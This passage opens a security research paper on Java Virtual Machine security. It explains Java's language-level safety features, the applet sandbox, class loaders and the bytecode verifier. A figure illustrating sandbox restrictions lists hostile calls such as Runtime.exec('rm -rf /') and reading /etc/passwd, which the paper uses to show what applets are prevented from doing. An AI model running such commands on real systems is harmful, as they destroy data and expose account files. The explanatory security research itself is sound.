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Chapter 1

Introduction

Since the year 1995, when Java language has been introduced, there have been many claims in
reference to its security. Although, there were a few skeptics who found hard to believe in complete
Java security (especially in the context of integrity and implementation of the Java Virtual Ma-
chine), it seem that Java has been considered as very secured environment for mobile codes. Such
belief has been strengthened by lack of any working proof of concept codes neither any detailed
information about serious vulnerabilities in the most important implementations of JVM provided
by SUN and Microsoft.

In the meantime, attacks through content1, both web and email one, came into spotlight2and found
its place in a penetration tester bag. In their context, security aspects of Java and vulnerabilities
of JVM implementations cannot be just ignored. Additionally, as Java technologies becomes more
and more popular in emerging technologies and applications, such as for example cellular phone
and executing mobile codes, all doubts and claims about Java security should be finally cleared
out. One of goals of this paper is to begin the public discussion of all aspects of Java security.

We have started our Java and JVM research in mid 1999 and continued it with some breaks until
the beginning of 2001. During that time we have learned about JVM internals, design, operating
and implementation specific details from various vendors, with special emphasis on SUN and
Microsoft. This paper is a summary of the research that we have conducted in this specific field.
It presents some previously unpublished codes, ideas and attack methodologies. Although it is
primarily destined for security engineers, others dealing with such topics like JVM security, mobile
code security and sandboxed execution environments should also find it interesting and useful.

The paper is divided into two interrelated parts. The first one contains several chapters presenting
fundamental information about Java and JVM security that are required for understanding the
second part of the paper dedicated to detailed discussion of the vulnerabilities and exploitation
techniques.

In the first chapter of the paper we briefly present Java language built- in security features. It is
followed by the description of an applet execution environment and the so called applet sandbox
model. Next we present JVM security architecture and provide detailed description of its core
security components: class loaders, security manager and bytecode verifier.

After these introductory chapters to Java and JVM security, there are several sections focused on
actual security vulnerabilities and attack techniques.

The first of them is dedicated to presenting common attack techniques for JVM. In the next
1Also referred as passive attacks, as they are indirect and require some sort of interaction between an attacker

and the end user of the victim system.
2There are millions of Internet Explorer and Netscape Communicator users, that are still unaware of the fact

that their browser, thus they themselves, are vulnerable to the attack.
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chapter we present privilege elevation techniques in the context of Internet Explorer and Netscape
Communicator web browsers. In this chapter we also explain how to turn on all privileges in the
attacker’s code after successful breach of the JVM security.

Next, a detailed discussion of several known JVM security vulnerabilities (selected, and the most
serious in our opinion) along with their exploitation techniques are presented. It is followed by a
chapter presenting new and not yet published security vulnerabilities in Microsoft and SUN’s JVM
implementations.

At the end of the paper, some thoughts are given with regard to JVM security. The threats of
security bugs in JVM implementations are discussed along with possible implications they might
have for users of all kind of mobile equipment.
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Chapter 2

Java language security features

Java is an object-oriented programming (OOP) language and as such it operates on objects of
an arbitrary type and functionality that is expressed by special entities - classes. In Java, like in
any other object-oriented programming language, each class definition consists of definition blocks,
both for variables and methods. Access to and visibility of any class and each of its items (methods
and variables) can be implicitly defined in Java. This can be accomplished by assigning one of the
three scope definition identifiers that are available in Java to the class or its items. These scope
definition identifiers, represented by the private, protected and public keywords define access to
classes and their items with regard to other unrelated classes.

As for the meaning of these keywords, it solely depends on whether they are assigned to class
objects themselves or their methods and variables. If a class is assigned the private keyword, its
object instances can be created only from within one of the class methods1. In the case when a
class is assigned the protected keyword, its instances can be created from the code of this class
or from the code of any of this class’ superclasses. The private keyword applied to the method or
variable allows accessing it only from within the class where it is defined. The protected keyword
extends that access also to superclasses of the defining class. As for the public access it does not
impose any access limits to the item to which it is assigned. Thus, public classes can be created
from within any other class, public methods can be invoked freely and public variables can be
accessed by any class code.

Apart from the above description of the class access and scope identifiers, there is also one more
case when no scope identifier is associated with a given class, method or variable at all. In such
case, the so called default access to the class or its item is assumed. This default access is considered
with regard to the packages, both of the class requesting a given access and the class to which
the access is requested. In Java, classes can be grouped in packages, where each package usually
represents a group of classes that are logically related in some way. Packages and classes define a
unique namespace, thus each class being part of a given package has its unique name of the form:
package name.class name. If default access to the class or its item is defined, such a class (item)
can be accessed only from the class that resides in the same package (is of the same package name).

Access control keywords also play an important role in a process of building lookup tables for proper
virtual methods dispatching. When Java runtime (or JIT compiler) builds a virtual method table
for an object of a given class, for each method of that class a check is made to verify whether its
method overrides any of the methods from the given class’ superclass. If this is the case, a pointer to
the method code from the given class is put in the method table at the index corresponding to name
and type2of the method. Access control keywords play the key role in the process of constructing
1In fact, object creation access is also determined by the access scope identifier of the class constructor used with

new.
2There are however exceptions to it. For example, in Netscape Communicator this criterion is extended and has

a form of name, type and class loader.
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Class A�

Class B extends A�

private long l�

public int get_o() {�
 return o;�
}�

public int i�
protected Object o�
private String s�
char c�

public void set_s(String t) {�
 s=t;�
}�

Class C�

private String s�

public Object get_o(A a) {�
 return a.o;�
}�

public void set_i(A a, int j) {�
 a.i=j;�
}�

public char get_c(A a) {�
 return a.c�
}�

Package Foo�

Figure 2.1: The use of Java scope and access definition identifiers for variables

virtual methods tables as they implicitly say which of the given class methods can actually be
overridden. When a method is tagged as protected or public, it can be overridden in any of its
subclasses. But if a method has default access (package scope one), it can only be overridden in
subclasses of the given class that are from the same package (have the same package scope). There
is, however, one exception to these rules. If a method is marked as final, it cannot be overridden
any more in subclasses of the given class. The final keyword associated with a class, method or
variable simply tells that it cannot be overridden. In case of classes this means that they cannot
be subclassed. In case of variables this means that they cannot be modified after their initial value
has been assigned to them by the static class constructor (<clinit> method).

As one of the Java goals was to provide a suitable language and architecture for programming
and execution of mobile code applications, some extra security features have been introduced to
it. Specifically, these features deal with memory safety issue, as security of mobile code can be
seen in a category of secure memory accesses. In order to provide Java with memory safety, such
mechanisms as garbage collection and strict type checking have been incorporated into it. This
first mechanism protects Java programs from programmers’ errors that are due to bad malloc/free
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constructs3 that are very common in programs written in C and C++.

As for garbage collection, although in Java a user is given direct mechanisms for new object creation
(and thus - memory allocation), he cannot implicitly free such allocated memory. In Java, freeing
memory of unused objects is done automatically by the garbage collector, an integral part of the
Java execution environment. The garbage collector is responsible for managing (primarily freeing)
memory of objects that are no more referenced in a Java program. Thus, in order to free an object,
it is sufficient that its reference count reaches zero, either by assigning null to its reference pointer
variable or by assigning it a pointer to some other object.

Apart from the garbage collector there is another important mechanism that provides memory
safety for Java programs. This mechanism prevents Java code from implicit pointer operations
and forbidden cast operations. Whenever a cast operation is to be performed in the code, strict
type checking takes place with accordance to the set of type casting rules defined in the language
specification. Bad casts are thus caught at runtime and can be completely eliminated. Such a
control over types of object (memory) references guarantees that there are no illegal memory
accesses performed. Specifically, that guarantees that only memory allocated for a given object
and its fields are accessed, and nothing else. If there were no strict type and cast checking in Java,
there would exist a possibility to access an object of one type as if it were of another type and
therefore to beat fields or methods access control mechanism.

Memory safety in Java is also guaranteed in case of array objects. In Java, once an array is created
its length never changes. As array bounds are checked at runtime, there is no possibility to access
memory outside its bounds (that is with the use of negative index or an index that is larger that
the length of the accessed array). As for memory safety it is also worth mentioning that in Java no
variable can be accessed before it implicitly gets initialized. As for new variables, they are always
initialized to a default state in order to hide the existing memory contents.

There are also some security features that are not implicitly visible to Java programmer, as they
are part of the Java execution environment. These features especially deal with Java strings and
stack frames and they provide Java programs with buffer overflow protection capabilities.

As for string objects, Java uses UTF8 coding scheme for their internal representation. This means
that every string object has two attributes associated with it: a length and a table of characters that
stores the current information for the string. Due to the UTF8 nature of Java strings and a set of
runtime checks that accompany every string operation, the risk of string buffer overflow attacks in
Java is eliminated as long as all string operations are done at the Java language level4. As for buffer
overflows in Java it should also be underlined here that each Java method has a precisely defined
number of arguments and local variables (along with their types). This, along with the bytecode
verifier mechanism and the checks it does on methods code before their execution, prevents Java
programs from malicious stack frame accesses. This is particularly important as any illegal stack
modification (under or overwrites) could potentially change the program execution path (through
the program counter or frame pointer modification).

The other feature of the Java language that provides Java programs with additional safety is the
mechanism of structured errors and exceptions handling. In Java, whenever security violation (or
any other runtime error condition) is encountered in a running program, it can simply throw an
exception instead of crashing. While mentioning Java anti-crash protection mechanisms, it should
also be stressed here that Java always checks object references for Null value at runtime.

3At the time of incorporating garbage collection into Java, heap overflow errors were not yet known. Memory
safety was the only reason for incorporating GC into Java, thus it prevented Java programs from these kinds of
errors.
4It should be emphasized that string operations done at the Java level are free of buffer overflows, but those done

within the native method calls are not necessarily safe of them.
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Chapter 3

The applet sandbox

Java, as an architecture independent, secure and very easy to learn (as well as to use) language
has been welcomed with great enthusiasm by mobile code developers. The language had been
almost immediately incorporated into web browsers. Along with that the syntax of the HTML
language was extended and the new <APPLET> tag was introduced into it. At the same time a new
package was also added to the Java system classes - the java.applet.* package. Its goal was to
support the execution of mobile Java applications - the so called applets, which could be embedded
in HTML pages downloaded to the computer of the web surfing user. This embedding could be
accomplished with the use of the aforementioned HTML <APPLET> tag. One of its parameters, the
CODE, indicates the URL of the Java binary of the program that is to be executed.

Applets are not much different from any other Java application. There are in fact only two primary
differences both of which concern the way the applet applications are executed. As for the first
difference, the execution of a standalone Java application is always started from the static method
with the following signature: public static Main(String argv[])1. For applets this is not the
case. They are always subclasses of the java.applet.

Applet class and their execution can be controlled as if they were threads. Applets, similarly to
the java.lang.Thread class, define several public methods that support their execution. These are
specifically start(),stop() and run() methods. They are invoked according to the current applet
state and users actions.

The second difference that distinguishes applets from standalone Java applications is in the way
they see resources of the computer of the surfing user. Although there are strong security features
of the Java language that increase data (at the class/package level) and type safety, they are not
sufficient for running mobile Java applications on the user’s computer. This is because applets
are like ordinary Java applications - they can be programmed to access files or network resources
via appropriate use of the language system packages (java.io.*, java.net.*, etc.). Thus, there
must be some additional mechanisms provided that would allow running Java code on the user’s
computer without any fear of malicious activity. Such a mechanism has been provided and it is
based on the applet sandbox model.

According to this model, applets that are downloaded and executed on a user’s computer by default
have no access to its resources. Each applet is executed in a so called sandbox which is a form of a
limited and controlled execution environment. Safety of this environment is guaranteed by a proper
definition of some core Java system classes. These are especially the classes that implement any
access to system resources. In general, the sandbox mechanism works as following. Whenever an
access to the system resources is required by an applet, an appropriate check inside the method
providing a given functionality is done. If the result of the check is not successful, the applet is
1To be exact, it should be mentioned that class constructors along with static initialisers are always invoked

before the actual Main method.

9



forbidden from performing the requested action and an appropriate security exception is thrown.
The check is usually done according to the appropriate applet security policy.

The default applet security policy that is implemented both in Netscape Communicator and Inter-
net Explorer is to deny any access from within the applet code to the system resource. But there
are also some special cases, for which applets can or must be treated as a secure code. In such cases
the user is usually implicitly inquired for the decision about whether to allow an applet to perform
a requested, insecure action. This especially concerns Netscape Communicator and appletviewer
from JDK, which employ capability driven security policy models that will be discussed in more
detail further in this document. As for the trusted code, there is one special case that should also
be mentioned here. If an applet code is located on a local file system at the CLASSPATH location
- that is at the path containing all Java system classes, it is assumed that such an applet is fully
trusted.

In the past, there were however some exceptions to the model presented above. Specifically, for
Netscape Navigator 4.0x applets that were loaded from the file system URLs (the ones denoted by
a file:// prefix) were not put in the sandbox, thus they were allowed to freely access file system
resources (with the privileges of the user running them in a web browser). For Internet Explorer
4.x. applets digitally signed by an entity whose identity could be successfully verified by one of the
root CA centers2 were also allowed to access system resources without any limit.

By default, applets running in a sandbox are prevented from inspecting or changing files on the
client file system. This means that they cannot read or write files at all. Applets are also prohibited
from making network connections to hosts except from the host from which a given applet was
downloaded. The same concerns accepting connections from network hosts - it can only be done
if such a connection is originated by the host from which an applet was downloaded. As for the
creation of network servers, they can only be assigned a TCP/IP port number that is above 1024.

Applet�

Applet Sandbox� new�
java.io.FileInputStream("/etc/passwd")�
java.io.File.list()�
java.io.File.delete()�

java.net.Socket.bind("139")�
java.net.Socket.accept()�
java.net.Socket.connect("lsd-pl.net")�

java.lang.Runtime.exec("rm -rf /")�

java.lang.Thread.stop()�

http://www.host.com/Virii.class�

no file system�
access�

no network�
access�

no process�
creation�

no process�
access�

Figure 3.1: Illustration of applet sandbox model restrictions

This prevents applets from potentially impersonating a well known TCP/IP service. Additionally,
applets loaded over the net are prevented from starting other programs on the client machine. They
are also not allowed to load libraries, or to define native method calls - Java methods implemented
2By root we mean those of which public keys are stored in the web browser’s database.
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in a platform dependant machine language. If an applet could define the native method, it would
give the applet direct access to the underlying system.

Applets are also prevented from reading some system properties through
System.getProperty(String key) method invocation. These are specifically, the java.home (de-
notes Java installation directory), java.class.path (denotes Java classpath), user.name (denotes
user account name), user.home (denotes user home directory) and user.dir (denotes user’s cur-
rent working directory) properties. Although applets can create threads, they can only see and
control those that were created by them (that belong to the same applet’s thread group). This
means that applets cannot see or control any thread that was created by any other applet (even the
one that was another instance of the same applet class and that was fetched from the same URL),
not to mention any system thread. There are also some Java classes, subclasses of which cannot be
freely subclassed and instantiated by applets. These are specifically java.lang.SecurityManager
and java.lang.ClassLoader classes. A detailed discussion why this is the case will be presented
further in this paper.

There are also some extensions to the presented applet sandbox model. For example, along with an
introduction of the J/Direct mechanism in Microsoft implementation of Java for Internet Explorer
4.0 (and above), it was possible to directly map native library functions to Java methods. Thus,
a possibility to call underlying operating system’s functionality was given to Java programs. In
order, to make this new Java language feature secure, it was only given to a fully trusted code.
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Chapter 4

JVM security architecture

Java Virtual Machine (JVM) is a run-time environment consisting of several components that
provide Java with platform independence, security and mobility. JVM is as an abstract computer
that can load and execute Java programs. The generic model of JVM’s behavior and operation
is defined in Java Virtual Machine Specification. Among several JVM features defined in this
specification, the Java Class file format, the Java bytecode language instruction set and JVM
Bytecode Verifier’s definitions seem to be the most important for the overall security of the Java
runtime environment.

The Java Class file format defines a way of storing Java classes in a platform independent form. A
single Class file always stores a definition of one Java class1. Among the basic class characteristics
that are stored in a Class file, information about a given class’ access flags, its super class, the
fields it defines and interfaces it implements can always be found. The code for each of the class
methods is also stored in a Class file. This is done with the use of an appropriate Code attribute2,
which contains the Java bytecode language instructions for a given method. Along with the Code
attribute, some auxiliary information regarding the usage of a stack and local variables by a given
method is also provided (specifically, these are the number of registers used, maximum stack
size and/or defined exception handlers). The security of JVM implementation requires that user
provided .class files are in a Class file format. Additionally, information about classes that is
stored in a .class file must be correctly interpreted and verified by the JVM.

Java bytecode language is the actual language that JVM can interpret and execute. It is a low level
machine language in which several categories of instructions can be distinguished. Specifically, Ja-
va bytecode provides instructions for performing a different kind of register and stack operations.
This includes pushing and popping values onto/from the stack, manipulating the register content
and performing logical and arithmetic operations. As for transfer control instructions, Java byte-
code supports both conditional and unconditional jumps. There are also some high level bytecode
instructions that are Java specific and that allow for array/object fields’ access, object creation,
method invocation as well as type casting and function return. For security reasons, JVM should
always verify the syntax and semantic correctness of each of the given method’s bytecode language
instructions. If there was a way to trick JVM to execute a deviant bytecode sequence, its security
would be at great risk.

The most critical component of the JVM environment that is responsible for its security is the By-
tecode Verifier. The rules of its operation are defined in Java Virtual Machine Specification. These
rules simply specify all the checks that need to be verified before the untrusted Java application
can be executed on a client’s machine. The primary goal of the Bytecode Verifier is to maintain
1This is also the case for inner classes - regardless of the fact that they are defined within some other class, they

are always compiled into a separate .class file.
2To be more precise, it is the Code attribute from the attributes table of the method info structure.
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all of the previously discussed Java language security features. Specifically, for .class files, the
Bytecode Verifier always checks whether they are in a Class file format, whether the classes they
define do not have bad or conflicting attributes and whether the code of their methods does not
contain deviant instructions that would break Java type safety rules.

However, the Bytecode Verifier is not the only JVM component that protects Java runtime against
security threats posed by untrusted mobile code. There are also other JVM components that
support it in this task and that are equally crucial to the security of Java runtime as the verifier
itself. The exact location and interaction of these components with other parts of JVM architecture
will be presented below upon the description of an Applet download and execution process.

Before Java applet can actually be run by the JVM, it must be first compiled into the .class file
format. As the code of a Java applet can use more than one .class file, it can be packaged into a
.jar or .zip archive3 before its actual deployment to the website location. Whenever a user of a
web browser visits a webpage that has an <APPLET> tag embedded onto it, a new instance of JVM
is started from within the web browser. Upon the successful startup, JVM initiates the applet
download process, in which one of the system or user defined Class Loader objects is used. The
Class Loader object establishes connection with the host from the URL given in a CODE attribute
of the <APPLET> tag in order to receive the .class file containing definition of the loaded applet.
The obtained applet class definition is then registered in the JVM by calling one of the native
methods of the VM Class Loader object. But before the new class can actually be registered in
the JVM, it must first pass the appropriate Class Loader checks that protect against some class
spoofing and class redefinition attacks. Only if these checks are successful, does the Class Loader
call the JVM native method to define a given class in it. Upon such a request JVM calls Bytecode
Verifier to perform another set of checks required by the class verification process. Only in the case
of successful class verification its new definition can be registered in the Java runtime.

user supplied or�
web browser�
Class Loader�

.class file�
(optional packaging�

into .jar or  .zip)�

Applet�
download�

VM Class Loader�

bytecode verifier�

Security Manager�

Garbage Collector�

instructions to�
execute�

Interpreter�

JIT compiler�

Optimizer�

Constant Pool�

Execution Engine�HTTP�
server�

JVM�

Figure 4.1: The Java Virtual Machine architecture

In the next step of applet download and execution process, Java runtime creates new object instance
of the defined applet class and makes a call to its start() method. Calling any of the Java
3For Internet Explorer, classes packaging can also be done into a .cab archive.
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object methods requires executing the appropriate Java bytecode instruction stream, thus there is
a special JVM component that deals with that - the Execution Engine. This component is usually
implemented in one of two ways: as an interpreter or compiler. If it works as an interpreter, it
simply executes the stream of Java bytecode instructions by interpreting them one by one. If it
is implemented as a compiler, it first compiles Java bytecode sequence into the native machine
instruction stream and then executes it as the normal native code. Current JVM implementations
generate the optimized native code. Before the actual compilation is done an optimizer is run to
process the bytecode instruction stream. As for the compilation itself, it should also be pointed here
that currently it is usually done with the use of a Just in Time Compiler (JIT), which means that
Java methods are compiled into the native code at the time of their first runtime invocation.

During the execution of Java bytecode or its native code equivalent method, calls to other Java
runtime components are frequently done. This specifically considers invoking the Garbage Collector
and Security manager functionality. The first one is called when creating new objects in a running
program. The goal of this memory management component is to deal with memory allocation and
freeing. The Security manager is consulted whenever security relevant actions are requested from
the applet code. Its role is to check whether such actions do not violate the default applet security
policy and its sandbox model.

During the Java code execution, different Java runtime structures are maintained. This specifically
considers function names, constant values, class descriptions and method descriptions. All of these
data are maintained by JVM in a special Constant Pool area. These data are used by almost every
Java runtime component - from the Bytecode Verifier to the Execution Engine.

The above description of an applet download and execution process briefly presents the life cycle of
a Java class in JVM. From that description it can be clearly seen that the Class Loader, Bytecode
Verifier and Security Manager components of the JVM architecture are the most crucial for the
security and integrity of the whole Java runtime environment. A more detailed description of each
of these components is provided below. The role that each of them plays to JVM security along
with a brief description of their actual operation is also given.

4.1 Class Loader

Class Loaders are special Java runtime objects that are used for loading Java classes into the Java
Virtual Machine. There are usually two distinct ways in which class loading can actually be done
in the Java runtime. Classes definitions can be obtained either from a .class file residing in a local
file system or from a remote location over network. Depending on how data for class definitions
are obtained, two different types of Class Loaders are usually distinguished in JVMs. These are
system4 and applet Class Loaders respectively.

The System Class Loader is the default internal Class Loader of the JVM that is primarily used
for obtaining definitions of core Java system classes. The System Class Loader always loads classes
from a location defined by a CLASSPATH environment variable. During class loading, The System
Class Loader uses file access capabilities of the native operating system to open and read a given
Java class file from disk into an array of bytes. This array of bytes is further converted into an
internal, JVM dependant class representation that is used throughout the whole life cycle of a
given class in JVM.

The functionality of the System Class Loader that is related to class loading and definition is
partially available through loadClass and defineClass methods of the java.lang.ClassLoader
class. Applet Class Loaders are usually subclasses of the base java.lang.ClassLoader class. Their
implementation varies as they are very specific to the given web browser or JVM vendor5. Applet
4In the literature, it is also referred to as default, null, primordial or internal Class Loader.
5They are typically supplied by the web browser vendor.
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class loaders are generally responsible for obtaining definitions of classes over network from remote
hosts. Before a new applet instance6 is loaded and executed in a web browser, a new applet Class
Loader object is always created for it. The loadClassmethod of this applet Class Loader is invoked
by the web browser in order to obtain raw class data for the requested applet class. This class data
are obtained from a remote location by establishing a connection with a remote web server and
by issuing the appropriate HTTP GET request. Any other non-system class that is referenced by
the instantiated applet class is also obtained with the use of the same HTTP GET mechanism. An
appropriate codebase variable is usually associated with each applet Class Loader and this is done
regardless of a specific applet Class Loader implementation. The codebase variable stores the base
URL value, from which classes are obtained by a given instance of an applet Class Loader. This
codebase variable is either set to the base URL of a web page that embeds a given applet or to
the value of the CODE attribute from a HTTP <APPLET> tag.

Loading a class from the given package by an applet Class Loader that has its codebase variable
set to the given URL value is always done according to the same rule: the proper class definition
data are obtained from the URL that is a combination of a codebase, package name and class
name values. In the case where codebase is set to http://appletserver.com/, an attempt to load
class A from package foo.bar by an applet Class Loader will be done by fetching the class file
from the http://appletserver.com/foo/bar/A.class location. However, this is only the case
for applets that are distributed in a .class form. For applets that are packaged in a .jar or .zip
archive, the applet classes are fetched directly from the archive file itself. In this case the value of
a codebase variable does not have any meaning for the class loading process7.

The process of loading a given class into the Java Virtual Machine is primarily done with the
use of the aforementioned loadClass method of the java.lang.ClassLoader class. There are
in fact two loadClass methods defined in a java.lang.ClassLoader class. The first one is
publicly available and can be called from within any other class in JVM - it has a public
class loadClass(java.lang.String) declaration. This method is actually the wrapper for the
protected loadClass(java.lang.String, boolean) method, which is also defined in the same
class. The second method, due to the protected access scope identifier, can only be called from
within Class Loader objects (subclasses of the base java.lang.ClassLoader class). It is also called
internally by the JVM during the process of dynamic class linking, but this will be described in
more detail later in this chapter. The first String parameter of the loadClass method contains
the name of a class to load. The second parameter of the protected version of loadClass method,
the boolean value, indicates whether to resolve a given Class object that has been created as a
result of loading a class to JVM’s constant pool area.

The call to loadClass method of a given Class Loader initiates the process of loading a specific
class (with a name given as a method parameter) into JVM runtime. This process is usually done in
several steps according to some general class loading algorithm. At first, a local Class Loader cache
is usually consulted in order to determine whether the requested class has been loaded before. If
this is the case, the previously loaded class is returned as a method result. If the requested class has
not been loaded by this Class Loader yet, an attempt to load the class through the primordial Class
Loader is made by issuing the call to findSystemClass method of the java.lang.ClassLoader
class. This is done in order to prevent external classes from spoofing trusted Java system classes.
This step is necessary in order to protect core Java system classes and JVM security in general.
If a user defined class could pretend to be a given system class, the possibility to circumvent the
JVM security and especially the applet sandbox could be created8.

If the call to findSystemClass fails and the class is not found at the CLASSPATH, location it
6Separate Applet Class Loader is associated with every applet instance. This is true even if there are multiple

applet instances of the same class in one JVM.
7It is important in a process of checking the security policy while opening connections to remote sites.
8This could be easily accomplished by defining a given system class that has a possibility to directly call native

operating system functionality, so that all Security Manager’s checks that existed in its original definition were
omitted in the spoofed implementation.
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is considered as a non-system class. In this case, the Security Manager is consulted in order to
see whether the requested class can be created at all. This step is done to provide protection to
system packages. If user classes could be defined as part of system packages, there would also
be a possibility that they could access package scoped variables and methods of system classes,
thus a potential security hazard could be created. It should be noted here that these steps do not
seem to be necessary in current implementations of applet Class Loaders. This is mainly caused
by the fact that current JVM implementations contain appropriate security check in their code
that forbids any package access to system classes from a user defined class9. The Security Manager
makes proper decision about whether to allow for the creation of a given class or not. If the applet
security policy forbids to load/create a given class, the security exception is thrown. In the other
case, the class loading process continues and proper class data are read into an array of bytes.

The way it happens differs according to a particular class loader that is used for class loading. Some
class loaders, as the primordial Class Loader, may load classes from a local database. Others, like
for example applet Class Loaders or RMI Class Loaders may load classes across the network. After
obtaining class definition data, a Class object is created in the Java Runtime. This is done by
properly calling the defineClass method of the base java.lang.ClassLoader class. The class
construction in the JVM is usually followed by the process of resolving all classes immediately
referenced by the created class before it can actually be used. This includes classes used by static
initializers of the given class and classes that this class extends. Before the actual Class object
construction there is usually a security check done on it by the Bytecode Verifier. If any of the
Verifier’s tests fail, the VerifierError exception is thrown. Only in the case of successful class
verification, a newly created Class object can be returned from the loadClass method to its caller.

Class Loaders also play a crucial role in the process of resolving symbolic references from one class
to another. In this process they provide JVM with functionality which is similar to the one of a
dynamic linker. Whenever a reference from a given class A to class B needs to be resolved, the
virtual machine requests class B from the same class loader that loaded class A. In practice, this
means that all classes that are referenced by a class created by a given Class Loader are also loaded
through the same Class Loader. In this process one Class Loader can usually chain to the built-in
system Class Loader to load standard classes. The decision, about which Class Loader should be
used for loading a referenced class, is easy to make as every JVM’s Class object has an associated
field that points to its Class Loader object. There is, however, one exception to this rule. As the
System Class Loader is internal to the JVM environment, it is actually not represented by any
Class Loader object. This means that Class objects of the system classes that have been loaded by
the primordial Class Loader, point to the null (system) Class Loader object as their loader.

In Java, references to classes, interfaces and their fields, methods and constructors are made sym-
bolically with the use of fully qualified names of the other classes and interfaces. Before a symbolic
reference can actually be used in Java program, it must first undergo the so called resolution. In
JVM, class resolving (or resolution) is usually done with the use of lazy strategy. This means that
references from a given class to other classes are resolved in runtime as they are actually encoun-
tered. Whenever this is done, an internal call to the protected version of the loadClass method of
a Class Loader object associated with a referencing class is made by JVM. By referencing class we
mean the class that contains a reference to the other class that needs to be resolved. As a result
of a class resolution symbolic references are replaced with direct ones that can be more efficiently
processed if the reference is used repeatedly.

In Java, the class loading process is recursive. The request to load a given class causes all super-
classes of this class and all of the interfaces that this class implements to be loaded as well (but
not necessarily resolved). Class loaders upon, loading a given class, usually place it also into the
implementation specific protection domain, which defines under which permissions the code of a
loaded class can be run.
9Current implementations of JVM, while verifying package access do not only check package names of classes -

the values of their class loaders are also consulted and if these values are not equal, the package access is denied.
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While considering Class Loaders, one should also mention namespaces and the role they play for
JVM security. From a definition, namespace is a set of unique names of classes that were loaded
by a particular Class Loader. But this is not only a set of names, this is also a set of class objects
as each name is bound to a specific class object. The local cache of classes of a given Class Loader
can be seen as its namespace placeholder. Each Class Loader defines its own namespace. As several
Class Loader objects may exist in one JVM, there can also be several namespaces defined in it. The
implication that namespaces have for JVM security is enormous. Separate namespaces associated
with each class loader enable to place a shield between the types loaded into different namespaces.
Consequently, types cannot see each other unless they have been loaded into the same namespace.
This is especially important for types with the same fully qualified names. If two different class
loaders could have different views of the same class (with the same name), the possibility to break
Java type system could be created. This is why in Java two classes are considered to be the same
(and therefore to be of the same type) if two conditions are met. Firstly, they must have the same
fully qualified names, and secondly they must be loaded by the same class loader (belong to the
same namespace). In general, Class Loaders’ namespaces should be disjoint and classes loaded by a
particular loader should see only those classes that were loaded by the same loader. In practice, the
requirement for disjoint namespaces is not always fulfilled and namespaces can sometimes overlap.
This topic will be covered in a more detail further in this document while discussing Class Loader
based attacks on JVM’s security.

The primary goal of Class Loader objects is to load Java classes into the Java Virtual Machine.
Class Loader objects make the first line of defense against malicious Java codes. They protect Java
classes from spoofing attacks, guard system packages from bogus classes and provide shield between
different Class Loaders’ namespaces. Class Loader objects are very critical for the overall security
of the JVM, so by default they cannot be implicitly created by the untrusted code. Specifically,
they cannot be created from applets. The appropriate security check for that is usually done in the
<init> method (constructor) of the java.lang.ClassLoader class or any of its web browser/JVM
vendor specific subclasses. Such a <init> method usually has a similar construction to the one
presented below10:

protected ClassLoader() {
initialized = false;
...
System.getSecurityManager().checkCreateClassLoader();
...
initialized = true;

}

When user-defined or system Class Loader object is created, the appropriate superclass constructor
must always be called. This is in accordance with the Java language specification, which states that
a call to either superclass or this class’ <init> method must always be made from a constructor
of a newly created object11. For Class Loader objects this means that the constructor of base
java.lang.ClassLoader class is always invoked. Along with that appropriate security checks
that are implemented into ClassLoader object constructor are also verified. These checks usually
call Security Manager’s checkCreateClassLoader method in order to prevent the untrusted code
from creating Class Loader objects. But there is also one additional check in the ClassLoader
class’ constructor that has been introduced to it as a result of some security problems found in
a ClassLoader protection mechanism12. This additional check is implemented with the use of a
10Although this example constructor is taken from SUN JDK, it does not influence the correctness of our di-
scussion. Microsoft’s implementation is only slightly different and the main idea of protecting against Class Loader
construction is preserved.
11Before JVM 2nd Edition, this requirement had to be fulfilled before any field variable initialization could be
made.
12These additional checks have been introduced as a result of Class Loader attack found by the Princeton SIP
Team back in 1998.
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private boolean variable that keeps track of the state of a ClassLoader’s constructor initialization.
At the beginning of the ClassLoader’s constructor code, this variable is assigned the false value,
after checkCreateClassLoader call it is assigned the true value. The additional protection for some
security sensitive code parts of ClassLoader’s methods (like native methods calls) can be provided
by appropriately calling the check method just before these protected code parts are actually
reached. The check method verifies whether the Class Loader object was properly initialized and,
if it is not the case, it throws SecurityException as presented below:

private void check() {
if (initialized)
return;
else
throw new SecurityException("ClassLoader object not initialized.");

}

protected Class defineClass(String s, byte abyte0[], int i, int j, int k, String s1) {
check();
Class cl = defineClass0(s, abyte0, i, j, k, s1);
...
return cl;

}

Throughout the use of the initialized variable, any potential circumvention of the checks done by
the Security Manager’s checkCreateClassLoader method can usually be caught. This obviously
provides additional security protection to the JVM’s Class Loader and makes it far more difficult
for the untrusted code to create fully functional Class Loader objects.

4.2 The Bytecode Verifier

The Bytecode Verifier works in a close conjunction with the Class Loader. This component of
the Java Virtual Machine is responsible for verifying that class files loaded to Java Runtime have
a proper internal structure and that they are consistent with each other. Specifically, Bytecode
Verifier checks if the Code attribute of loaded Class files contain correct bytecode instructions and
that they do not violate any of the Java type safety rules.

The Bytecode Verifier acts as the primary gatekeeper in the Java security model. It is included in
every implementation of the Java Virtual Machine13. During its work, Bytecode Verifier makes sure
that each piece of bytecode downloaded from the outside fulfills all static and structural constraints
imposed on the Java Virtual Machine code. This is especially important as Java Virtual Machine
does not have any means to verify whether a given class file was compiled by a decent compiler or
not. Every class file is just a sequence of bytes that could be generated by virtually anyone. This
means that is could be as well generated by a malicious cracker attempting to compromise JVM’s
integrity or type safety. But Bytecode Verifier does not only protect against compiler bugs and
malicious class files. It is also responsible for making sure that no bytecode instruction stream can
just crash the Java Virtual Machine itself.

Most of the Bytecode Verifier’s work is done during class loading and linking. Due to efficiency
reasons, bytecode verification is done only once before a given class is actually loaded into JVM.
This is done in order to avoid unnecessarily runtime checks. If bytecode verification of methods
code was not done before their actual execution, each single bytecode instruction would have to
be verified at runtime. In such a case the overall robustness of a Java application would drastically
13This also concerns J2ME, which has a simplified version of the Bytecode Verifier implemented in it regardless
of the strict constraints that are imposed on the overall KVM size.
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drop. Also due to efficiency reasons, Bytecode Verifier is usually run only for untrusted classes14.
This means that system classes loaded from the CLASSPATH defined location are never subject to
the bytecode verification process. Such a behavior is caused by the fact that system classes are
provided by the vendor of a given JVM implementation, thus they are considered as trusted.

During its work, Bytecode Verifier analyzes the structure of a Class file. It takes special attention
to the bytecode verification process in which the integrity and safety of the bytecode instruction
streams are checked. Whenever a Bytecode Verifier discovers a problem with a class file, it throws
an instance of the VerifyError exception. In such a case, the class loading process is abnormally
interrupted and a given class file is not loaded into the Java Virtual Machine.

All work of the Bytecode Verifier is done in four distinct passes. In pass one, the internal structure
